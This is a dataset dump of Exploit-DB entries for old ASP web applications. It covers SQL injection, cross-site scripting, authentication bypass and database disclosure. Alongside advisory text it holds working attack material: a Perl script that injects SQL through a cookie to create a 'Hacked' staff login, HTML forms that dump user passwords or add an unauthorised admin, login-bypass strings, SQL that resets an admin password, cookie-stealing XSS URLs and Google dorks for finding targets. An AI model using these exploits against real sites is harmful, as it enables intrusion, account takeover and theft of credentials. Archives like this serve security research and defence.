deardaniel/secdata-raw huggingface dataset:
Exploit-DB #24298
Description: Internet Software Sciences Web+Center 4.0.1 - Cookie Object SQL Injection
Type: webapps
Platform: asp
Date: 2004-07-21
Author: Noam Rathaus

Exploit:
source: https://www.securityfocus.com/bid/10771/info

An SQL injection vulnerability is identified in the application that may allow attackers to pass malicious input to database queries, resulting in the modification of query logic or other attacks. 

This issue exists due to insufficient sanitization of user-supplied input through the Cookie object.

Successful exploitation could result in compromise of the application, disclosure or modification of data or may permit an attacker to exploit vulnerabilities in the underlying database implementation. An attacker may gain access to the administrative username and password and execute arbitrary database commands as well.

Web+Center version 4.0.1 is affected by this vulnerability. Other versions may be affected as well.

#!/usr/bin/perl

use IO::Socket;
use strict;

my $host = $ARGV[0];
my $Path = $ARGV[1];

if (($#ARGV+1) < 2)
{
print "iss_helpdesk.pl host path\n";
exit(0);
}

my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "80" );

unless ($remote) { die "cannot connect to http daemon on $host" }

my $sql = "; INSERT INTO tech_staff (tech_id, tech_password, tech_level, first_name, last_name, availability, show_dispatch_flag) VALUES ('Hacked', 'Hacked', 6, 'Hacked', 'Hacked', 1, 1); --";

$sql =~s/([^a-zA-Z0-9])/uc sprintf("%%%02x",ord($1))/eg;

my $http = "GET /$Path/search.asp HTTP/1.1
Host: $host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040405 Firefox/0.8
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Cookie: ISS_TECH_CENTER_LOGIN='+$sql;

";

print "HTTP: [$http]\n";
print $remote $http;
sleep(1);

while (<$remote>)
{
# print $_;
}
print "\n";

close($remote);

print "You can now logon using the tech username 'Hacked' with the password 'Hacked'\n";

exit(0);
Exploit-DB #26929
Description: IntranetApp 3.3 - 'content.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2005-12-21
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/16010/info
 
IntranetApp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.
 
Version 3.3. and prior are vulnerable; other versions may also be affected. 

http://www.example.com/content.asp?CatId=&ContentType=&keywords=r0t&search=%3E&do_search=[XSS]

http://www.example.com/content.asp?CatId=&ContentType=&keywords=r0t&search=[XSS]
Exploit-DB #26928
Description: IntranetApp 3.3 - 'login.asp?ret_page' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-21
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/16010/info

IntranetApp is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Version 3.3. and prior are vulnerable; other versions may also be affected. 

http://www.example.com/login.asp?ret_page=[XSS]
Exploit-DB #29024
Description: Inventory Manager - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: asp
Date: 2006-11-14
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21069/info

Inventory Manager is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues, because the application fails to properly sanitize user-supplied input. 

Successful exploits of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://site.com/inventory/inventory/display/imager.asp?pictable='[sql]
http://site.com/inventory/inventory/display/imager.asp?pictable=[inventory]&picfield=[sql]
http://site.com/inventory/inventory/display/imager.asp?pictable=[inventory &picfield=photo&where='[sql]
Exploit-DB #30940
Description: IPortalX - '/forum/login_user.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2007-12-27
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/27044/info

iPortalX is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

All versions are considered vulnerable. 

http://www.example.com/forum/login_user.asp?Redirect=/forum/search.asp@KW=%22%3E%3 Cscript%3Ealert(document.cookie);%3C/script%3E

http://www.example.com/forum/login_user.asp?Redirect=/members.asp?SF=%22%3E%3Cscri pt%3Ealert(document.cookie);%3C/script%3E
Exploit-DB #30941
Description: IPortalX - 'blogs.asp?Date' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2007-12-27
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/27044/info
 
iPortalX is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
All versions are considered vulnerable. 

http://www.example.com/Path/blogs.asp?CID=0&AID=0&Date=%22%3E%3Cscript%3Ea lert(document.cookie);%3C/script%3E
Exploit-DB #25874
Description: Ipswitch WhatsUp Professional 2005 SP1 - 'login.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-22
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/14039/info

WhatsUp Professional is prone to an SQL injection vulnerability affecting its Web-based front end. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'login.asp' script before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. It should be noted that by supplying a 'or' value through the 'password' parameter, an attacker can gain unauthorized access to an affected site. 

The following proof of concept is available:
Reset the Admin user password with a blank password:
- 'UPDATE WebUser SET s[CREDENTIAL_REDACTED] WHERE sUserName='Admin'--

Elevate Guest user privileges to Admin privileges:
- 'UPDATE WebUser SET nUserRightsMask=-1 WHERE sUserName='guest'--
Exploit-DB #31117
Description: Ipswitch WS_FTP Server 6 - '/WSFTPSVR/FTPLogServer/LogViewer.asp' Authentication Bypass
Type: webapps
Platform: asp
Date: 2008-02-06
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27654/info

WS_FTP Server Manager is prone to an authentication-bypass vulnerability and an information-disclosure vulnerability.

An attacker can exploit these issues to gain unauthorized access to the affected application and gain access to potentially sensitive information.

These issues affect WS_FTP Server Manager 6.1.0.0; prior versions may also be affected. 

http://www.example.com/WSFTPSVR/FTPLogServer/LogViewer.asp
Exploit-DB #27552
Description: ISP Site Man - 'admin_login.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-04-01
Author: s3rv3r_hack3r

Exploit:
source: https://www.securityfocus.com/bid/17347/info

Site Man is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

All versions of Site Man are considered to be vulnerable.

user : admin
pass : ' or '
Exploit-DB #2423
Description: iyzi Forum 1.0 Beta 3 - SQL Injection
Type: webapps
Platform: asp
Date: 2006-09-24
Author: Fix TR

Exploit:
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ iyzi Forum s1 b2 (tr) SQL Injection Vulnerability      +
+ Author  : Fix TR                                       +
+ Site    : www.hack.gen.tr                              +
+ Contact : fixtr[at]bsdmail.com                         +
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


Download & Info: http://www.aspindir.com/Goster/2981
Bug In         : uye_ayrinti.asp
Risk           : High

Exp:
http://[victim]/[path]/uye/uye_ayrinti.asp?uye_nu=1+union+select+1,kullanici_adi,null,null,null,null,sifre,null,null,null,null,null,null,null,null,null,null,null,null,null+from+iyzi_uyeler+where+editor+like+1

Password encrytped with SHA-256

# milw0rm.com [2006-09-24]
Exploit-DB #32635
Description: Jbook - SQL Injection
Type: webapps
Platform: asp
Date: 2008-12-02
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/32599/info

Jbook is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following example input is available:

User:admin
pass:' or '
Exploit-DB #10161
Description: JBS 2.0 / JBSX - Administration Panel Bypass / Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2009-11-17
Author: blackenedsecurity

Exploit:
# Administration panel bypass and Malicious File Upload Vulnerability
# JBS v2.0 JBSX and other Jiro's Products
# Google Dork: "inurl:/files/redirect.asp"


Go to url files/login.asp

admin 'or' '='    
password 'or' '='

H4ckers may upload malicious files by using upload panel as they have administrator acces
they are able to change settings and upload asp and exe files.


# Bug discovered by blackenedsecurity
# http://blackenedsecurity.blogcu.com
# msn: syberhunter@hotmail.com
# From Turkey =)
Exploit-DB #3470
Description: JGBBS 3.0beta1 - 'search.asp?author' SQL Injection
Type: webapps
Platform: asp
Date: 2007-03-13
Author: WiLdBoY

Exploit:
<!--

JGBBS 3.0beta1 Version Search.ASP "Author" SQL Injection Exploit

Type :

SQL Injection

Release Date :

{2007-03-13}

Product / Vendor :

JGBBS Is a Tree-style Online Forum System

http://sourceforge.net/projects/jgbbs/

Bug :

http://localhost/script/search.asp?author=-SQL Inj.-&bid=0

SQL Injection Exploit :

-->

<title>JGBBS 3.0beta1 Version Search.ASP "Author" SQL Injection Exploit</title>
<body bgcolor="#000000">
<form name="searchFrm" method="get" action="http://localhost/script/search.asp">
<table width="500" border="0" align="center">
<font face="Verdana" size="2" color="#FF0000"><b>JGBBS 3.0beta1 Version Search.ASP "Author" SQL Injection Exploit</b></font>
<br>
  <tr>
    <td align="right"><font face="Arial" size="1" color="#00FF00">SQL Injection Code</td>
    <td>&nbsp;</td>
    <td><input name="author" type="text" value="UniquE-Key'UNION SELECT 0,1,user_password,3,4,5,user_name,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 FROM users" class="inputbox" style="color: #000000" style="width:300px; "></td>
  </tr>
  <tr>
    <td align="right"><font face="Arial" size="1" color="#00FF00">Search Board</td>
    <td>&nbsp;</td>
    <td>
      <select name="bid">
        <option value="0">(ALL)</option>
      </select>&nbsp;
      <input type="submit" value="Apply">
    </td>
  </tr>
</table>
</form>
<center><font face="Verdana" size="2" color="#FF0000"><b>UniquE-Key{UniquE-Cracker}</b></font>
<br>
<font face="Verdana" size="2" color="#FF0000"><b>UniquE@UniquE-Key.ORG</b></font>
<br>
<font face="Verdana" size="2" color="#FF0000"><b>http://UniquE-Key.ORG</b></font></center>

<!--
Tested :

JGBBS 3.0beta1

Vulnerable :

JGBBS 3.0beta1

Author :

UniquE-Key{UniquE-Cracker}
UniquE(at)UniquE-Key.Org
http://www.UniquE-Key.Org
-->

# milw0rm.com [2007-03-13]
Exploit-DB #10767
Description: jgbbs-3.0beta1 - Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-29
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Asp jgbbs-3.0beta1 DB Download Vulnerability                            |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : jgbbs-3.0  beta 1                                                       |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : DB                                                                      | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://server/jgbbs-3.0beta1/db/bbs.mdb
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * 
-------------------------------------------------------------------------------------------
Exploit-DB #33361
Description: JiRo's (Multiple Products) - '/files/login.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2009-11-17
Author: blackenedsecurity

Exploit:
source: https://www.securityfocus.com/bid/37045/info

Multiple JiRo's products are prone to multiple SQL-injection vulnerabilities because they fail to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the applications, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following products are affected:

JBS 2.0
JBSX

Other products may also be affected.

The following proof-of-concept login and password examples are available:

admin 'or' '='
password 'or' '='
Exploit-DB #30775
Description: JiRo's Banner System 2.0 - 'login.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2007-11-17
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/26479/info

JiRo's Banner System is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

JiRo's Banner System 2.0 is vulnerable; other versions may also be affected.


The following proof-of-concept login and password examples are available:

Login: anything' OR 'x'='x
[CREDENTIAL_REDACTED]' OR 'x'='x
Exploit-DB #5753
Description: JiRo's FAQ Manager eXperience 1.0 - 'fID' SQL Injection
Type: webapps
Platform: asp
Date: 2008-06-08
Author: Zigma

Exploit:
[+] Script Name     : JiRoÂ´s FAQ Manager eXperience
[+] Version         : v 1.0
[+] Price           : _ Single Website License 34.95 $
                      _ 2 Websites License 62.95 $
                      _ 5 Websites License 139.95 $
[+] Author          : Underz0ne Crew
[+] Home            : http://www.underz0ne.net
[+] Script In short : ('JiRos FAQ Management System is an essential 
element for any webmaster, providing your customers with answers to 
specific questions on-line 24 hours a day, 7 days a week. Build a 
complete knowledge base, adding articles and creating your own topic 
based FAQ system using our feature packed administration facility ')
[+] Dork            : inurl:"read.asp?fID="

--//--> Exploit :

read.asp?fID={SQL}

__--> MS SQL Server : convert(int,(select+@@version));

__--> MS Access     : IIF((select%20mid(last(Name),1,1)%20from%20(select%20top%2010%20Namee%20from%20MSysObjects))='a',0,'Bingo')%00

--//--> 

# milw0rm.com [2008-06-08]
Exploit-DB #25780
Description: JiRo's Upload System 1.0 - 'login.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-06-01
Author: Romty

Exploit:
source: https://www.securityfocus.com/bid/13833/info

JiRo's Upload System is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

Supplying the following is sufficient to gain access to the admin control panel:
Username =admin
Password= ' or ''='
Exploit-DB #1571
Description: JiRos Banner Experience 1.0 - Unauthorized Create Admin
Type: webapps
Platform: asp
Date: 2006-03-09
Author: nukedx

Exploit:
<html>
<title>Jiros Banner Experience Pro Unauthorized Admin Add Exploit</title>
<body bgcolor="#000000">
<style>
.xpl {font-family:tahoma; font-size:11px; text-decoration: none;}
</style>
<script language="JavaScript">
function jbxpl() {
  if (document.xplt.victim.value=="") {
    alert("Please enter site!");
    return false;
  }
  if (confirm("Are you sure?")) {
    xplt.action="http://"+document.xplt.victim.value+"files/update.asp?Action=AddAdmin";
    xplt.aName.value=document.xplt.aName.value;
    xplt.aEmail.value=document.xplt.aEmail.value;
    xplt.aPassword.value=document.xplt.aPassword.value;
    xplt.aIsSystemAdmin=document.xplt.aIsSystemAdmin.value;
    xplt.aIsActive=document.xplt.aIsActive.value;
    xplt.submit();
  }
}
</script>
<strong>
<font class="xpl" color="#00FF40">
<pre>
<center>
Welcome to Jiros Banner Experience Pro Unauthorized Admin Add Exploit
This exploit has been coded by nukedx
You can found original advisory on http://www.nukedx.com/?viewdoc=19
Dork for this exploit: <u>inurl:JBSPro</u>
Your target must be like that: www.victim.com/Path/
The sites you found with given dork has like: www.victim.com/JBSPro/files or www.victim.com/JBSPro.asp
If the site has /JBSPro/files in link your target must be www.victim.com/JBSPro/
For second example your target must be www.victim.com/
You can login with your admin account via www.victim.com/JBSPath/files/login.asp
Have phun
<form name="xplt" method="POST" onsubmit="jbxpl();">
Target -> <input type="text" name="victim" value="www.victim.com/Path/" size="44" class="xpl">
<input type="text" name="aName" value="Enter Username" class="xpl" size="30">
<input type="text" name="aEmail" value="Enter Email" class="xpl" size="30">
<input type="text" name="aPassword" value="Enter Password" class="xpl" size="30">
<input type="hidden" name="aIsSystemAdmin" value="True">
<input type="hidden" name="aIsActive" value="True">
<input type="submit" value="Send" class="xpl">
</form>
</pre>
</font>
</strong>
</body>
</html>

Save this code as .htm and then execute.

# nukedx.com [2006-03-07]

# milw0rm.com [2006-03-09]
Exploit-DB #29152
Description: JiRos Link Manager 1.0 - 'openlink.asp?LinkID' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-21
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21226/info

JiRos Links Manager is prone to multiple input-validation vulnerabilities, including SQL- and HTML-injection issues, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation; other attacks are possible.

http://www.example.com/openlink.asp?LinkID='[sql]
Exploit-DB #29153
Description: JiRos Link Manager 1.0 - 'viewlinks.asp?categoryId' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-21
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21226/info
 
JiRos Links Manager is prone to multiple input-validation vulnerabilities, including SQL- and HTML-injection issues, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation; other attacks are possible.
 
http://www.example.com/viewlinks.asp?CategoryID='[sql]
Exploit-DB #42776
Description: JitBit HelpDesk < 9.0.2 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2017-09-22
Author: Kc57

Exploit:
# Exploit Title: JitBit HelpDesk <= 9.0.2 Broken Authentication
# Google Dork: "Powered by Jitbit HelpDesk" -site:jitbit.com
# Date: 09/22/2017
# Exploit Author: Rob Simon (Kc57) - TrustedSec www.trustedsec.com
# Vendor Homepage: https://www.jitbit.com/helpdesk/
# Download Link: https://static.jitbit.com/HelpDeskTrial.zip
# Version: 9.0.2
# Tested on: Windows Server 2012
# CVE : NA

Proof of Concept:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42776.zip
Exploit-DB #10470
Description: JM CMS 1.0 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2009-12-16
Author: Red-D3v1L

Exploit:
      _ _ _ _  _ _ _   _ _ _ _    _ _ _    __  _ _ _ _               _____1337~h4x0rZ__   _        ___    ___
    /_/Rd_ _ /   _ _\/   _ _ /   \      \<   |/_ _   /         /\   |     \    /\  ||   \( )   /\  |  \  (| |
    \_ _ _ _/  /_ _ /  /      __ |  ()  / |  |  /   / [d0t]com/@~\  | (O) /   /+~\ ||_O_|( )  /0O\ |   \  | |
     _ _ _ _\  \_ _ \  \ _ _ _   |     \  |  | /   /_ _      /|__|\ |     \  /|__|\|| O |( ) /+__+\| ^  \ | |
   /_ _ _ _ _\ _ _ _/\ _ _ _ /   |__|\__\ |__|/_ _ _ _ _\   /\|  |/\|__|\__\( )  ( )|___/(_)/\|  |/\__\__\|_ >

==============================================================================
        [?] ~ Note : Hacker R0x Lamerz Sux !
==============================================================================
        [?]  JM CMS 1.0  <== 1.0 (Auth Bypass) SQL Injection Vulnerability
==============================================================================
    [?] my home:              [ http://sec-r1z.com ]
    [?] Script:               [ JM CMS 1.0 ]
    [?] Language:             [ ASP ]
    [?] Vendor              [http://designsbyjm.net ]
    [?] Founder:              [ ./Red-D3v1L ]
    [?] Gr44tz to:            [ sec-r1z# Crew - Hackteach Team - my love :$ ]
    
########################################################################
 
===[ Exploit SQL Bypass ]=== 
 
 [»] Go to : [Path]/admin

 [»] Add : siteConfig.asp

 [»] dem0 :

 http://server/admin/siteConfig.asp